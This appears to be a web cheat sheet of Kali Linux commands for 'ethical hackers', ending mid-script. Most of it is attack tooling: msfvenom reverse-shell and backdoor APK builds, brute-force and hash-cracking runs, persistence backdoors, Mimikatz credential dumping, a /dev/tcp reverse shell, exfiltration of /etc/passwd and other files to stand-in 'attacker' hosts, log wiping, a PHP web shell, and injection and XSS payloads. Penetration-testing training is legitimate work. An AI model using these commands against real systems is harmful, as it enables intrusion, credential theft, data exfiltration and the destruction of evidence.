💻 Kali Linux Cheat Sheet for Ethical Hackers (2025)

The Ultimate Kali Linux Command Guide for Red Teamers & Ethical Hackers

June 13, 2025

📖 Table of Contents

Linux Essentials

File & Directory Commands

```
ls -l           # List files with permissions
cd /etc         # Change directory
pwd             # Show current path
cp -r dir1 dir2 # Copy file or directory
mv file /tmp    # Move or rename
rm -rf folder    # Delete file or folder
mkdir -p a/b/c  # Create nested directories
touch file.txt  # Create file or update timestamp
cat file.txt    # Show file content
head file.txt   # Show first 10 lines
tail file.txt   # Show last 10 lines
less file.txt   # Scroll through file (q to quit)
file script.sh  # Detect file type
grep "root" /etc/passwd  # Search inside files
find / -name "*.conf" 2>/dev/null  # Find files
```

Permissions & Ownership

```
chmod +x script.sh        # Make file executable
```

```
chmod 755 file.sh         # rwxr-xr-x
chown user:group file.txt # Change ownership
ls -l                     # View perms & ownership
stat file.txt             # Detailed file metadata
```

💻 Bash Shortcuts & Productivity

```
Ctrl + C    # Kill running command
Ctrl + R    # Search command history
history     # Show previous commands
!!          # Repeat last command
!n          # Run command #n from history
echo $USER  # Print current user
```

⚙️ Running & Creating Scripts

```
#!/bin/bash         # Shebang for Bash script
chmod +x script.sh  # Make script executable
./script.sh         # Run script
```

📡 Process & Network Monitoring

```
ps aux              # List running processes
kill -9 1234        # Kill process by PID
netstat -tuln       # Show open ports (legacy)
ss -tuln            # Modern netstat alternative
ip addr             # Show IP addresses
ip route            # Show routing table
ping 1.1.1.1        # Check connectivity
nmap -sS 192.168.1.0/24  # Scan subnet
tcpdump -i eth0     # Packet capture
curl http://host    # Fetch HTTP page
```

🌐 Common Ports (Most Used)

Port	Protocol	Description
21	FTP	File transfers
22	SSH	Secure shell
53	DNS	Name resolution
80	HTTP	Web traffic
443	HTTPS	Secure web traffic
3306	MySQL	Database service
3389	RDP	Windows remote

⚡ Quick Reference

```
whoami          # Show current user
date            # System date/time
uptime          # System uptime
df -h           # Disk usage (human-readable)
du -sh folder/ # Folder size
free -h         # Memory usage
uname -a        # Kernel & system info
passwd          # Change current password
ssh user@ip     # SSH login
scp file user@host:/path/  # Secure copy
tar -cvf file.tar folder/  # Create tar archive
gzip file.txt   # Compress file
```

🔍 Recon & OSINT

🌐 Passive Recon (No direct contact)

🩹 Active Recon (You touch the target)

📪 theHarvester — OSINT Multitool

🧭 **Amass — Subdomain Enumeration**

🌍 **DNS & Subdomain Tools**

🕵️ **Social Recon & Phishing Prep**

🌐 Passive Recon (No direct contact)

```
# Search exposed devices
shodan search 'org:"Company" port:22'      # Devices with SSH from
target org
censys search 'services.service_name:HTTP' # Open HTTP services, cert
info

# WHOIS domain info
whois example.com         # Get registrant, DNS, and expiry details

# Check for disallowed content
curl http://example.com/robots.txt  # See hidden or restricted paths

# Google Dorks
site:example.com ext:sql            # Indexed .sql files
intitle:"index of" "backup"         # Exposed directories

# Metadata scraping (manual or scripted)
exiftool file.docx       # Extract author, machine name, timestamps
strings image.png        # Reveal embedded clues

# Detect web technologies
whatweb example.com      # CMS, server, platform detection
```

🔧 Active Recon (You touch the target)

```
# Scan ports and detect services
nmap -sV -Pn example.com           # Service version scan (no ping)

# Banner grabbing (manual)
```

```
nc example.com 80                    # Open raw TCP connection
curl -I http://example.com           # View HTTP headers

# DNS enumeration
dig ANY example.com                  # All available DNS records
host -t mx example.com               # Mail servers
```

📫 theHarvester — OSINT Multitool

```
theHarvester -d example.com -b all       # Collect emails, subdomains, hosts
theHarvester -d microsoft.com -b bing    # Use specific backend (Google, LinkedIn, Shodan)

# Output: Use for phishing, subdomain brute force, social profiling
```

🧭 Amass — Subdomain Enumeration

```
amass enum -passive -d example.com       # Passive recon only (no DNS queries)
amass enum -d example.com -o subs.txt    # Active recon + save output
```

> ⚙️ Tip: Add API keys in `~/.config/amass/config.ini` to improve passive results.

🌍 DNS & Subdomain Tools

```
dnsenum example.com           # Enumerate DNS, hosts, zone transfer attempts
dnsrecon -d example.com -a    # Aggressive DNS recon (AXFR, brute-force)
sublist3r -d example.com      # Fast subdomain scanning via search engines
```

🕵️ Social Recon & Phishing Prep

```
# LinkedIn scraping (manual or with tools)
site:linkedin.com employees "Company"

# GitHub recon
site:github.com "companyname"      # Find exposed code, secrets

# Email format guessing
j.doe@example.com, john.d@example.com     # Common formats to test

# Credential leaks
Search Dehashed / pastebin dumps manually
haveibeenpwned.com                        # Check for leaked accounts
```

📡 Network Scanning & Enumeration

🌐 Host Discovery (Who's Alive?)

```
# ARP scan – fast local discovery
netdiscover -r 192.168.1.0/24          # IPs, MACs, vendors (great
for LANs)
arp-scan -I eth0 192.168.1.0/24        # Accurate ARP host discovery
(root)
```

```
# ICMP ping sweep
fping -g 192.168.1.0/24                  # Fast ping sweep (quiet,
simple)

# TCP SYN ping (no port scan)
nmap -sn 192.168.1.0/24                  # List up hosts, no port scan

# Ultra-fast TCP/UDP sweep
masscan -p1-65535,U:1-65535 192.168.1.0/24 --rate=1000
                                         # Scan entire range fast;
tune rate for stealth

# Local ARP table
ip neigh                                 # Show known IP-MAC mappings
arp -a                                   # View cached ARP entries

# NetBIOS scan (Windows systems)
nbtscan 192.168.1.0/24                   # Hostnames, MACs, NetBIOS
names

# Basic ping test
ping -c 3 192.168.1.1                    # Is host alive?
```

🧪 Nmap: Port Scanning & Scripting

```
# Top 1000 TCP ports (default)
nmap example.com                         # TCP SYN scan (no flags
needed)

# Full TCP scan
nmap -p- example.com                     # All 65535 ports

# Specific ports
nmap -p 21,22,80,443 example.com         # Scan key ports only

# Stealth scan (less detectable)
nmap -sS example.com                     # TCP SYN scan
```

```
# UDP scan (slow but useful)
nmap -sU example.com                    # DNS, SNMP, etc.

# Aggressive scan
nmap -A example.com                     # OS, services, traceroute,
NSE scripts

# OS fingerprinting
nmap -O example.com                     # Try to detect OS

# Service version detection
nmap -sV example.com                    # Apache, SSH, MySQL, etc.

# NSE scripting
nmap --script=default example.com      # Run default scripts
nmap --script=vuln example.com         # Run vuln detection scripts
nmap --script=http-title example.com   # Grab web page title
ls /usr/share/nmap/scripts/            # Browse all NSE scripts

# Tuning & stealth
nmap -T4 example.com                    # Scan speed (T0-T5)
nmap -D RND:10                          # Use decoy IPs
nmap -f                                 # Fragment packets (bypass
firewalls)

# Save results
nmap -oN scan.txt                       # Save in normal format
nmap -oX scan.xml                       # Save XML (for automation)
```

```
# Full aggressive scan combo
nmap -sS -sV -p- -A -T4 example.com -oN fullscan.txt
```

🧩 Service & Version Enumeration

```
# Nmap version detection (custom intensity)
nmap -sV --version-intensity 5 example.com

# NSE banner script
```

```
nmap --script=banner example.com

# Manual methods
nc example.com 80                       # Type: HEAD / HTTP/1.0
telnet example.com 25                   # See SMTP banner
curl -I http://example.com              # Get web server info
ssh -v user@example.com                 # Show SSH version & methods
nc -lvnp 4444                           # Start listener (reverse shell
test)
```

📂 Protocol Enumeration (SMB, FTP, NFS, SNMP)

```
# NetBIOS / SMB
nbtscan 192.168.1.0/24                  # Windows hostnames/domains
enum4linux -a target-ip                 # SMB shares, users, policies
enum4linux-ng -A target-ip              # Updated SMB enum (Python3
fork)

smbclient -L //target-ip/ -N            # List shares (try anonymous)

# SMB downloads
smbget -R smb://target-ip/share         # Recursively download shared
files

# RPC & null sessions
rpcclient -U "" -N target-ip            # Connect with no password

# NFS
showmount -e target-ip                  # View exported NFS shares

# Permissions mapping
smbmap -H target-ip                     # Show access per share

# On compromised host
smbstatus                               # List active Samba sessions
```

🕵️ OS Fingerprinting & Web Tech Stack

```
# OS detection
nmap -O target-ip                       # Active OS detection
xprobe2 -v target-ip                    # Alternative OS
fingerprinting
p0f -i eth0                             # Passive OS detection from
live traffic

# Banner grabbing (manual & scripted)
nc target-ip 22                         # SSH or HTTP banner
telnet target-ip 25                     # SMTP banner
curl -I http://target-ip                # Get headers (Server, X-
Powered-By)
nmap --script=banner target-ip          # NSE banner check

# Web tech identification
whatweb http://target-ip                # CMS, frameworks, server
stack
httprint -h target-ip                   # Web server fingerprinting
(less common)
sslscan target-ip                       # SSL/TLS version & cipher
details
```

⚠️ Vulnerability Discovery & Identification

🧪 Core Vulnerability Scanners

```
nmap -sV --script=vuln target.com
# Run default NSE vulnerability scripts (CVE checks, misconfigs)

nikto -h http://target.com
# Scan for outdated server software, default files, and insecure
headers

sqlmap -u "http://target.com/page?id=1" --batch --dbs
# Automatic SQL injection finder + database extractor

wpscan --url http://target.com --enumerate u
# WordPress scanner (users, plugins, themes, CVEs)
# Add --api-token=YOUR_TOKEN for full database access

nuclei -u http://target.com -t cves/
# Blazing fast CVE scanner — needs updated nuclei-templates
# Templates: https://github.com/projectdiscovery/nuclei-templates

arachni http://target.com --report-save-only-positives
# OWASP Top 10 web app scanner; slow but thorough

burpsuite
# GUI-based scanner, use for login flows, headers, file uploads
# Useful with Burp extensions like ActiveScan++ and Software
Vulnerabilities

gvm-setup && gvm-check-setup
# Sets up OpenVAS/GVM full-featured network scanner
# Web GUI: https://localhost:9392

/opt/nessus/sbin/nessusd
# Start Nessus daemon — commercial-grade scanner
# Web GUI: https://localhost:8834
```

🧠 Manual Discovery Tactics

```
nc target.com 80                    # Grab banner
telnet target.com 22                # SSH version check
curl -I http://target.com           # HTTP headers
```

```
nmap -sV target.com
# Detect service versions — map them to CVEs manually (see CVE lookup
tools)

# Try default or weak credentials manually (SSH, FTP, CMS, Routers)
# Examples: admin:admin, root:toor, ftp:ftp

ffuf -u http://target.com/FUZZ -w
/usr/share/wordlists/dirb/common.txt
wfuzz -z file,/usr/share/wordlists/dirb/big.txt -u
http://target.com/FUZZ
# Find hidden directories or backup/config files

curl -X POST -d 'user=admin&pass=pass' http://target.com/login
# Test for weak or logic-bypassed auth
```

📚 Exploit & CVE Lookup

```
searchsploit apache
searchsploit -w openssl
# Search local Exploit-DB (comes with Kali)

exploitdb -s CVE-2023-1234
# Search Exploit-DB by CVE — install from:
https://github.com/offensive-security/exploitdb

./CVE.sh apache
# Lightweight CLI tool to fetch CVEs from CLI
# Repo: https://github.com/cheetz/CVE-Search-Tools

cve-search -q nginx
# Requires local MongoDB-based CVE DB
# Setup: https://github.com/cve-search/cve-search

msfconsole
> search type:exploit keyword
> use exploit/windows/smb/ms17_010
# Use Metasploit to test and run known exploits
```

🚨 Common Misconfigurations & Weak Spots

```
# Default creds
# Check login pages, services like Redis, MongoDB, Jenkins, FTP

# Directory indexing
# Visit http://target.com/ and look for open folders (e.g. /uploads/)

# Verbose errors
# Submit bad input and review HTML or JSON response for debugging
info

# Open databases or services
# No-auth Redis, Elasticsearch, Jenkins, MySQL

# Exposed files
# Try common backups or dev files: /backup.zip, /.env,
/config.old.php

# File uploads
# Test upload forms with Burp
# Try: file.php.jpg, file.php%00.jpg, file.pHp, or missing content-
types
```

🔗 Useful Reference Links

- **Nuclei Templates:**
  https://github.com/projectdiscovery/nuclei-templates
  (Regularly updated CVE checks — sync weekly)
- **SearchSploit (CLI):**
  https://github.com/offensive-security/exploitdb
- **CVE.sh (Simple CVE CLI tool):**
  https://github.com/cheetz/CVE-Search-Tools
- **Burp Suite Extensions (Top-rated):**
  https://portswigger.net/bappstore
- **Exploit-DB (online):**
  https://www.exploit-db.com

- **CVE Details Search:**
  https://www.cvedetails.com

💥 Access & Exploitation

🔎 Finding & Running Exploits

```
# Search Exploit-DB locally
searchsploit apache 2.4.49
searchsploit -x exploit/path.txt         # View full exploit code

# Online Exploit-DB
https://www.exploit-db.com                # Download PoCs manually

# Run Python/C exploits
python3 exploit.py                        # Edit LHOST, RHOST, ports
gcc exploit.c -o exploit && ./exploit     # Compile C-based exploits

# Fetch scripts or PoCs from web
wget https://example.com/exploit.sh
chmod +x exploit.sh && ./exploit.sh
```

⚙️ Metasploit Framework (msfconsole)

```
msfconsole                                  # Start Metasploit

search vsftpd                               # Search for an exploit
use exploit/unix/ftp/vsftpd_234_backdoor    # Load exploit module
show options                                # Show required settings

set RHOSTS 10.10.10.5                       # Target
set LHOST 10.10.14.2                        # Your IP
set PAYLOAD windows/meterpreter/reverse_tcp
exploit                                     # Launch attack

sessions -l                                 # List active sessions
sessions -i 1                               # Interact with session
background                                  # Background current
session
db_nmap -sV 192.168.1.0/24                  # Nmap scan within
Metasploit DB
```

🧬 Payload Creation with msfvenom

```
# Windows EXE reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2
LPORT=4444 -f exe > shell.exe

# Linux ELF reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.2
LPORT=4444 -f elf > shell.elf

# Android backdoor APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.14.2
LPORT=4444 -o backdoor.apk

# PHP payload
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -
f raw > shell.php

# Obfuscated payload
```

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -e
x86/shikata_ga_nai -i 3 -f exe > encoded.exe

# In Metasploit: deliver dynamic payload via script
use exploit/multi/script/web_delivery
```

🕸️ Web Exploitation Tools

```
# SQL injection (automatic)
sqlmap -u "http://target.com/page.php?id=1" --batch --dbs

# XSS detection
xsstrike -u "http://target.com/search?q=test"

# Web fuzzing
wfuzz -u http://target.com/page.php?file=FUZZ -w wordlist.txt
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-
Content/common.txt

# Web proxy + scanner
burpsuite
# Intercept, fuzz, inject, and scan web requests via GUI
```

🛠️ Online Brute Forcing

```
# FTP brute-force
hydra -l admin -P rockyou.txt ftp://192.168.1.100 -f -V

# SSH brute-force
hydra -l root -P rockyou.txt ssh://192.168.1.100 -t 4 -f -V

# RDP brute-force
hydra -l admin -P rockyou.txt rdp://192.168.1.100 -V -f -t 4

# HTTP GET brute-force
hydra -L users.txt -P passwords.txt 192.168.1.100 http-get /login -f
-V
```

```
# SMB login brute-force
hydra -L users.txt -P passwords.txt smb://192.168.1.100

# Medusa (modular brute-force)
medusa -h 192.168.1.100 -u root -P rockyou.txt -M ssh

# Patator (flexible, scriptable)
patator ssh_login host=192.168.1.100 user=admin password=FILE0
0=rockyou.txt \
-x ignore:mesg='Authentication failed'
```

Offline Password Cracking

```
# John the Ripper
unshadow /etc/passwd /etc/shadow > hashes.txt
john --wordlist=rockyou.txt hashes.txt
john hashes.txt --show                          # Reveal cracked
passwords
john --list=formats                             # View supported hash
formats

hashcat --help | grep -i hash-mode      # View all hash modes

# Hashcat (GPU cracking)
hashcat -m 0 -a 0 md5.txt rockyou.txt         # MD5
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt     # NTLM
hashcat -m 1800 -a 0 sha512.txt rockyou.txt   # SHA512crypt
hashcat -m 22000 -a 0 wifi.hc22000 rockyou.txt  # WPA2 WiFi
hashcat -m 3200 -a 0 bcrypt.txt rockyou.txt   # bcrypt
```

Hash Identification & Wordlists

```
# Hash type identification
hashid hash.txt
hash-identifier                                 # Interactive
```

```
# Online: https://www.tunnelsup.com/hash-analyzer/

# Wordlists
gunzip /usr/share/wordlists/rockyou.txt.gz   # Decompress rockyou.txt
(default in Kali)
# SecLists: https://github.com/danielmiessler/SecLists

# Generate custom wordlists
crunch 8 10 abcdef1234                       # Generate 8-10 char
passwords
cewl http://target.com -w custom.txt         # Crawl & extract
target-specific words
```

🔼 Escalation & Persistence

- 🐧 **Linux Privilege Escalation – Manual**
- ⚙️ **Linux PE – Automated Tools**
- □ **Windows Privilege Escalation – Manual**
- ⚙️ **Windows PE – Automated Tools**
- 🧬 **Kernel Exploits (Examples)**
- 🔒 **Persistence Techniques**
- 🧪 **Credential Dumping**
- 🎭 **Session Hijacking**
- 📤 **Data Exfiltration**
- 🥚 **Shell Stabilization & Backgrounding**
- 🕵️ **Anti-Forensics**
- 📚 **Essential Resources**

Linux Privilege Escalation – Manual

```
# Sudo permissions (low-hanging fruit)
sudo -l

# SUID binaries (run as root)
find / -perm -4000 -type f 2>/dev/null

# Writable SUID binaries (check for privilege abuse)
find / -writable -perm -4000 -type f 2>/dev/null

# Cron jobs (privileged scheduled tasks)
crontab -l
ls -la /etc/cron*
cat /etc/crontab

# Kernel version (check against known local exploits)
uname -a

# Writable directories in $PATH (PATH hijack potential)
echo $PATH
ls -ld $(echo $PATH | tr ':' '\n')
```

Linux PE – Automated Tools

```
# linPEAS (comprehensive enum)
wget https://github.com/carlospolop/PEASS-
ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh

# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-
suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh

# BeRoot (checks misconfigs)
git clone https://github.com/AlessandroZ/BeRoot.git
cd BeRoot/Linux && python3 beroot.py
```

Windows Privilege Escalation – Manual

```
whoami /priv                          # Token privileges
systeminfo > sysinfo.txt              # CVE matching
tasklist /svc                         # Services tied to processes
wmic service get name,startmode,pathname
Import-Module .\PowerView.ps1
Get-NetLocalGroupMember -Group "Administrators"
```

> 🛠 Check for AlwaysInstallElevated, unquoted service paths, weak folder perms.

Windows PE – Automated Tools

```
# winPEAS (full Windows enum)
Download: https://github.com/carlospolop/PEASS-
ng/releases/latest/download/winPEASx64.exe
Run: winPEASx64.exe

Seatbelt.exe all         # Post-exploitation enumeration (AD, creds,
misconfigs)

# Windows Exploit Suggester
git clone https://github.com/AonCyberLabs/Windows-Exploit-
Suggester.git
cd Windows-Exploit-Suggester
python windows-exploit-suggester.py --database 2024.xml --systeminfo
sysinfo.txt

# BeRoot (Windows)
git clone https://github.com/AlessandroZ/BeRoot.git
cd BeRoot/Windows && python3 beroot.py
```

🧬 Kernel Exploits (Examples)

```
# Dirty COW (CVE-2016-5195)
gcc dirtycow.c -o cow && ./cow         #as root or with proper perms

# OverlayFS Exploit (CVE-2021-3493, Ubuntu)
gcc overlayfs.c -o overlay && ./overlay

# Capabilities abuse
getcap -r / 2>/dev/null                # Look for cap_setuid,
cap_net_bind_service, etc.
```

🔒 Persistence Techniques

🐧 Linux

```
# Cronjob
@reboot /bin/bash /tmp/backdoor.sh   # In crontab or /etc/cron.d/

# SSH key backdoor
echo "ssh-rsa AAA..." >> ~/.ssh/authorized_keys

# rc.local (legacy distros)
echo "/bin/bash /tmp/rev.sh &" >> /etc/rc.local

# Systemd service
echo -e "[Service]\nExecStart=/bin/bash /tmp/rev.sh" >
/etc/systemd/system/persist.service
systemctl enable persist
```

□ Windows

```
# Registry run key
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v
backdoor /t REG_SZ /d "C:\backdoor.exe"

# Scheduled task
```

```
schtasks /create /tn updater /tr "C:\payload.exe" /sc minute /mo 10

# Startup folder
copy payload.exe "%APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup\"

# Create service
sc create backdoor binPath= "C:\payload.exe" start= auto
```

🧪 Credential Dumping

```
# Mimikatz
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
# Use sekurlsa::wdigest if enabled

# Dump LSASS and extract
procdump64.exe -ma lsass.exe lsass.dmp
.\mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

# LaZagne (cross-platform password dumper)
./laZagne.py all     # Linux
LaZagne.exe all      # Windows
```

🎭 Session Hijacking

```
# Mimikatz token impersonation
token::elevate
use incognito
list_tokens -u
impersonate_token "DOMAIN\\Administrator"
```

```
# Linux SSH agent hijack
```

```
eval "$(ssh-agent -s)"
ssh-add ~/.ssh/id_rsa
ls -la /tmp/ssh-*        # Check for active agents
```

📤 Data Exfiltration

🐧 Linux

```
# Send over netcat
tar cz /etc | nc attacker 4444

# HTTP upload
curl -F "file=@/etc/passwd" http://attacker/upload.php

# SCP to attack box
scp /etc/shadow user@attacker:~/loot/

# Zip + split
zip -r loot.zip /target/folder && split -b 1M loot.zip part_
```

🪟 Windows

```
# PowerShell one-liner
[System.Net.WebClient]::new().UploadFile('http://attacker.com/file',
'C:\loot.zip')

# FTP script upload
ftp -s:upload.txt

# RAR with password
rar a -hp123456 secret.rar C:\SensitiveData

# Certutil exfil
certutil.exe -urlcache -split -f http://attacker.com/loot.zip
loot.zip
```

🍪 Shell Stabilization & Backgrounding

```
# Linux TTY upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo; fg
export TERM=xterm
stty rows 50 columns 120
```

```
# Background shell
CTRL+Z → fg
```

```
# Persistent reverse shell (one-liner)
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
# Safer with: bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
# Listener: nc -lvnp 4444
```

🕵️ Anti-Forensics

```
# Clear bash history
echo > ~/.bash_history
history -c && history -w

# Clear logs
cat /dev/null > /var/log/auth.log
rm -f /var/log/wtmp /var/log/btmp /var/log/lastlog

# Windows logs
wevtutil cl Application
wevtutil cl Security
wevtutil cl System
```

```
# Timestomp (Metasploit)
run post/windows/manage/timestomp
```

```
# Manual timestamp spoofing
python timestomp.py -m <mod> -a <access> -c <create> file.exe
```

📚 Essential Resources

- **GTFOBins:** https://gtfobins.github.io
- **LOLBAS (Windows):** https://lolbas-project.github.io
- **PayloadsAllTheThings:** https://github.com/swisskyrepo/PayloadsAllTheThings
- **Windows Exploit Suggester:** https://github.com/AonCyberLabs/Windows-Exploit-Suggester
- **PEASS-ng (linPEAS/winPEAS):** https://github.com/carlospolop/PEASS-ng
- **Mimikatz:** https://github.com/gentilkiwi/mimikatz
- **Shell generator**: https://www.revshells.com

🌐 Web Application Attacks

🔍 Recon & Enumeration

```
# Discover endpoints and files
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-
Content/common.txt -t 50

# Dir brute-force with extension
ffuf -u http://target.com/FUZZ.php -w wordlist.txt

# Recursively scan subdirs
ffuf -u http://target.com/FUZZ -recursion -w wordlist.txt

# DNS & subdomain fuzzing
ffuf -u http://target.com -H "Host: FUZZ.target.com" -w
subdomains.txt -fs 4242
```

```
# Gobuster (alt tool for directory brute-forcing)
gobuster dir -u http://target.com -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

# Passive URL recon (archived endpoints)
waybackurls target.com
gau target.com
```

💉 Injection Attacks

🧪 SQL Injection (sqlmap)

```
# Detect injection
sqlmap -u "http://target.com/page.php?id=1" --batch

# Dump DBs and data
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D db -T users --dump

# Authenticated SQLi
sqlmap -u "http://target.com/page.php?id=1" --
```

```
cookie="PHPSESSID=abc123"
```

XSS (XSStrike or manual)

```
# Scan for XSS
xsstrike -u "http://target.com/search?q=hello"

# Dalfox – smart XSS scanner
dalfox url http://target.com/search?q=hello

# Add custom headers or cookies
xsstrike -u URL --headers "User-Agent: X" --cookie "session=abc"

# Manual payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><svg/onload=alert(1)>
```

Command Injection

```
# Simple payloads
127.0.0.1; whoami
& id
$(uname -a)
# Alternative syntax
$(id)    # Bypasses some filters

# Send via curl
curl -X POST -d "ip=127.0.0.1;id" http://target.com/ping
```

SSRF (Server-Side Request Forgery)

```
# Basic test
url=http://127.0.0.1:80

# Test via Burp or curl
curl -X POST -d "url=http://127.0.0.1:80" http://target.com/fetch
```

```
# Detect SSRF to metadata URLs (cloud)
http://169.254.169.254/latest/meta-data/
```

🕵️ Authentication & Session Attacks

```
# Brute-force login form
ffuf -w users.txt:USER -w passwords.txt:PASS -X POST -u
http://target.com/login -d "user=USER&pass=PASS" -H "Content-Type:
application/x-www-form-urlencoded"

# Session fixation
1. Login with known session ID
2. Send same ID to victim, see if it persists after auth

# JWT Tampering
jwt_tool token.jwt -p
jwt_tool token.jwt -d                              # Decode
jwt_tool token.jwt -s secret                       # Brute-force
signature
jwt_tool token.jwt --kid FUZZ -S wordlist.txt      # Key confusion
# Example of malicious header
# { "alg": "HS256", "kid": "../../../../public.pem" }
```

📂 File Upload & Execution

```
# Bypass extensions
file.php.jpg
file.phtml
file.php%00.jpg        # Null byte trick (if backend is vulnerable)
file.php;.jpg     # Apache semicolon trick
file.ph%70        # URL encoding

# Upload shell then access
curl -F "file=@shell.php" http://target.com/upload

# Example PHP web shell content
<?php system($_GET['cmd']); ?>
```

```
# Use Burp Repeater to tamper:
- Content-Type
- Filename
- Paths like ../../ or \\
```

Security Misconfiguration Testing

```
# CORS misconfig
curl -H "Origin: https://evil.com" -I http://target.com
# Look for: Access-Control-Allow-Origin: *

# HTTP method tampering
curl -X PUT http://target.com/resource
curl -X DELETE http://target.com/resource

# Check for default creds manually or via Hydra/Medusa

# Check for exposed config files
curl http://target.com/.env
ffuf -u http://target.com/.git/FUZZ -w wordlist.txt

# Look for tech info in response headers
curl -I http://target.com
```

Core Tools Summary

```
# Burp Suite (proxy, scanner, repeater)
burpsuite                                    # Launch
# Configure browser to proxy: 127.0.0.1:8080
# Use Repeater for fuzzing, scanning, manipulation

# XSStrike (XSS detection)
xsstrike -u "http://target.com/search?q=hello"

# sqlmap (automated SQLi)
sqlmap -u "http://target.com/page.php?id=1" --dbs
```

```
# ffuf (fast fuzzer)
ffuf -u http://target.com/FUZZ -w wordlist.txt

# gobuster (directory brute)
gobuster dir -u http://target.com -w wordlist.txt

# jwt_tool (JWT tampering)
jwt_tool token.jwt -p
```

📜 Vulnerability Checklist (Quick Ref)

Category	What to Test	Tool(s)
SQL Injection	Params, URLs, forms	sqlmap, Burp Repeater
XSS	Search, forms, URLs	XSStrike, Burp
Command Injection	IP fields, pings, uploads	curl, Burp
Directory Listing	/admin/, /backup/, auto-indexing	Browser, ffuf
File Upload Bypass	Extension tricks, MIME, path traversal	Burp, curl
CSRF	No token in POST	Burp
CORS	Wildcard headers, weak origins	curl
Auth Bypass	Logic flaws, hardcoded bypasses	Burp, manual testing
Session Attacks	Fixation, hijacking, weak tokens	jwt_tool, Burp
Subdomain Takeover	CNAMEs, dangling entries	amass, subjack

🔗 Useful Web Attack Resources

- **OWASP Top 10:** https://owasp.org/Top10
- **PayloadsAllTheThings:** https://github.com/swisskyrepo/PayloadsAllTheThings

- **SecLists (Wordlists):** https://github.com/danielmiessler/SecLists
- **XSStrike:** https://github.com/s0md3v/XSStrike
- **jwt_tool:** https://github.com/ticarpi/jwt_tool
- **ffuf:** https://github.com/ffuf/ffuf
- **Burp Extensions (BApp Store):** https://portswigger.net/bappstore

---

📶 Wireless Attacks

🔍 Interface Setup & Monitor Mode

```
# List wireless interfaces
iwconfig          # (or: iw dev)

# Bring interface down
ip link set wlan0 down

# Enable monitor mode manually
iw dev wlan0 set type monitor

# Bring it back up
```

```
ip link set wlan0 up

# OR use airmon-ng helper
airmon-ng check kill           # Kill conflicting processes
airmon-ng start wlan0          # Enables monitor mode as wlan0mon

# Confirm mode
iwconfig
```

📡 Capture WPA/WPA2 Handshake

```
# View nearby access points
airodump-ng wlan0mon

# Focus on a single AP (channel + BSSID)
airodump-ng -c 6 --bssid <AP_MAC> -w capture wlan0mon

# Deauthenticate clients to force reconnection
aireplay-ng --deauth 10 -a <AP_MAC> -c <CLIENT_MAC> wlan0mon

# Confirm capture contains a handshake
aircrack-ng capture-01.cap

# Crack captured handshake with rockyou
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <AP_MAC> capture-
01.cap
```

🔒 WPA/WPA2 Cracking with Hashcat

```
# Convert .cap to .hc22000 format
hcxpcapngtool -o output.hc22000 capture-01.cap

# Crack using Hashcat (GPU required)
hashcat -m 22000 -a 0 output.hc22000 /usr/share/wordlists/rockyou.txt
--force
```

Evil Twin & Rogue Access Points

```
# Create rogue AP with airbase-ng
airbase-ng -e "Free_WiFi" -c 6 wlan0mon

# Optional: assign IP & enable internet (via bridge or DHCP)
# Requires dnsmasq or bridge-utils (not shown here)
```

```
# Enterprise Evil Twin phishing with hostapd-wpe
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
cd hostapd-wpe/hostapd
make
./hostapd-wpe hostapd-wpe.conf
```

> 🔑 Captures EAP creds for later cracking with `asleap` or `hashcat`.

Bluetooth Attacks (Classic Bluetooth)

```
# Start Bluetooth tools
bluetoothctl
power on
agent on
scan on

# Get device info
info <MAC_ADDRESS>
```

```
# Classic CLI tools
hcitool scan                 # Discover devices
l2ping <MAC_ADDRESS>        # Ping device
sdptool browse <MAC>        # List services
```

🧬 BLE (Bluetooth Low Energy)

```
# Passive scan for BLE devices
blescan

# Interact via gatttool (BlueZ)
gatttool -I
connect <MAC_ADDRESS>
primary                         # List services
char-desc                       # List characteristics
char-read-hnd 0x0025            # Read characteristic
char-write-req 0x0025 0100      # Write to handle
```

🧰 Wireless Tool Summary

Tool	Purpose	Notes / Source
aircrack-ng	WPA/WPA2 capture & crack	✔ Built-in (`/usr/bin/aircrack-ng`)
airmon-ng	Set monitor mode	Included in aircrack-ng suite
hcxpcapngtool	Convert cap to Hashcat format	✔ Kali default
hashcat	Fast WPA password cracking (GPU)	✔ `/usr/bin/hashcat`
bluetoothctl	Scan/control Bluetooth	✔ Installed by default
gatttool	BLE enumeration	Part of `bluez`; install via apt
hostapd-wpe	WPA2-Enterprise rogue AP phishing	📎 **https://github.com/OpenSecurityResearch/hostapd-wpe**

📎 Wireless Attack Resources

- 🔧 Aircrack-ng Suite: **https://www.aircrack-ng.org/**
- 📦 Hashcat WPA Guide: https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2

- 📚 PayloadsAllTheThings (Wi-Fi): **https://github.com/swisskyrepo/PayloadsAllTheThings**
- 🧬 BlueZ (BLE tools): **http://www.bluez.org/**

🧰 Scripting & Automation

Use scripting to speed up recon, automate exploits, generate payloads, and process results.

🧅 Bash Scripting – Pentest Templates

```
# Port scan automation
for ip in $(cat targets.txt); do
